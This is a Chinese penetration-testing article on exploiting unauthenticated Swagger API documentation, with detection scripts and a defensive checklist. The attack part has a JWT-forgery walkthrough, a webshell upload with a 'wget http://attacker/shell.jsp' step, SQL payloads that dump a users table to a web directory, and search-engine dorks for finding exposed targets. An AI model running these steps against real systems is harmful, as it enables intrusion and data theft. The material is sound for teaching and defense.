文章总结: 本文详细介绍了Swagger接口未授权漏洞的原理、危害及四阶渗透利用技巧,包括信息收集、认证绕过、命令执行和数据库接管。文章提供了自动化探测方案和真实案例分析,并给出企业级防御措施和修复验证清单,强调了在生产环境中禁用SwaggerUI、实施访问控制和敏感信息脱敏的重要性。
综合评分: 91
文章分类: WEB安全,渗透测试,漏洞分析,安全建设,应急响应
swagger 接口未授权漏洞怎么玩儿!
原创
牛叫瘦
HACK之道
2025年8月18日 10:20
重庆
一、漏洞原理与危害评级
1.1 Swagger接口暴露路径
# 常见未授权访问端点
/v2/api-docs # 核心API文档
/swagger-ui.html # 可视化界面
/swagger.json # 原始配置文件
/api/swagger # 常见变体路径
/docs # SpringBoot默认路径
1.2 风险矩阵评估
| 暴露信息类型 | 危害等级 | 影响范围 |
| — | — | — |
| API接口参数 | 高危 | 业务逻辑泄露 |
| 身份认证机制 | 严重 | 权限绕过可能 |
| 数据库操作接口 | 灾难级 | 数据泄露风险 |
| 服务器管理端点 | 灾难级 | 系统沦陷风险 |
二、四阶渗透利用技巧
2.1 初级利用:信息收集
// 从swagger.json提取的关键字段
{
"paths":{
"/api/v1/user/search":{
"get":{
"parameters":[
{"name":"phone","in":"query"},
{"name":"idcard","in":"query"}
]
}
},
"/internal/server/restart":{}
}
}
分析要点:
- • 敏感接口定位(如含
internal、admin的路径) - • 隐私参数识别(手机号、身份证等字段)
2.2 中级利用:认证绕过
JWT密钥泄露场景:
paths:
/auth/login:
post:
responses:
200:
schema:
$ref:'#/definitions/JwtToken'
definitions:
JwtToken:
properties:
token:
example: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
攻击步骤:
- 1. 使用
jwt.io解码示例Token - 2. 发现签名算法为HS256
- 3. 通过接口文档获取密钥硬编码线索
- 4. 伪造管理员Token访问内部接口
2.3 高级利用:命令执行链
{
"/api/system/exec":{
"post":{
"parameters":[{
"name":"command",
"in":"body",
"schema":{"type":"string"}
}]
}
},
"/file/upload":{}
}
组合攻击路径:
上传Webshell
获取写入路径
执行命令拼接
服务器控制
具体操作:
- 1. 通过
/file/upload接口上传恶意JSP文件 - 2. 使用
/api/system/exec执行wget http://attacker/shell.jsp - 3. 访问写入的Webshell获取控制权
2.4 终极利用:数据库接管
暴露的SQL接口:
{
"/db/query":{
"post":{
"parameters":[{
"name":"sql",
"in":"body",
"required":true
}]
}
}
}
渗透步骤:
- 1. 执行侦察语句:
{"sql":"SELECT table_name FROM information_schema.tables"}
- 2. 定位用户表:
{"sql":"SELECT column_name FROM information_schema.columns WHERE table_name='users'"}
- 3. 数据导出:
{"sql":"COPY (SELECT * FROM users) TO '/var/www/html/leak.csv'"}
三、自动化探测方案
3.1 指纹识别脚本
import requests
TARGETS = [
"/swagger-ui.html",
"/swagger/v1/swagger.json",
"/v3/api-docs"
]
defcheck_swagger(url):
for path in TARGETS:
try:
resp = requests.get(url + path, timeout=5)
if resp.status_code == 200:
if"swagger"in resp.text or"openapi"in resp.text:
returnTrue
except:
continue
return False
3.2 敏感接口扫描器
# 使用jq解析swagger.json
curl -s http://target/swagger.json | jq '.paths | keys[]' | grep -E '(admin|internal|manage|secret)'
3.3 企业级资产测绘
# FoFa高级语法
title="Swagger UI" && country="CN"
# 钟馗之眼搜索
app:"Swagger"
四、三大真实案例复盘
4.1 政务云数据泄露事件
攻击路径:
未授权Swagger → 暴露公民查询接口 → 构造批量查询 → 下载17万条数据
技术亮点:
利用/api/export接口的limit参数设置为0实现全量导出
4.2 金融系统入侵事件
攻击链:
JWT密钥泄露 → 伪造管理员身份 → 访问资金划转接口 → 发起2300万异常转账
漏洞根源:
Swagger文档中硬编码测试用密钥secretKey: "test123"
4.3 制造业工业控制系统入侵
渗透过程:
- 1. 发现
/plc/control接口 - 2. 构造设备停止指令:
{"command": "EMERGENCY_STOP", "machine_id": "all"}
- 3. 造成全厂生产线瘫痪6小时
五、企业级防御方案
5.1 访问控制策略
# Nginx配置示例
location ~* ^/(swagger|api-docs|docs) {
satisfy any;
allow 192.168.1.0/24; # 内网IP段
allow 10.10.0.1; # 管理机IP
deny all;
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}
5.2 生产环境净化
// SpringBoot配置
@Bean
public Docket api() {
return new Docket(DocumentationType.SWAGGER_2)
.enable(!Arrays.asList(env.getActiveProfiles()).contains("prod")) // 生产环境禁用
.select()
.apis(RequestHandlerSelectors.any())
.paths(PathSelectors.any())
.build();
}
5.3 敏感信息脱敏
# 使用swagger-annotations
@Operation(summary="用户查询")
@Parameter(
name="idcard",
description="身份证号",
example="110***********1234"//自动脱敏
)
5.4 审计监控体系
# ELK监控告警规则
{
"query": {
"bool": {
"must": [
{ "match": { "url.path": "/swagger-ui.html" } },
{ "range": { "source.ip": { "not_in": ["10.0.0.0/8"] } } }
]
}
}
}
六、漏洞修复验证清单
- 1. 环境检测
- • 生产环境已禁用Swagger UI
- • 测试环境开启HTTP认证
- 2. 访问控制
- • 配置IP白名单限制
- • 启用Basic身份认证
- 3. 内容安全
- • 删除示例敏感数据
- • 脱敏展示隐私字段
- • 禁用危险接口文档
- 4. 监控审计
- • 部署异常访问检测规则
- • 建立API文档访问日志
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:HACK之道 牛叫瘦《swagger 接口未授权漏洞怎么玩儿!》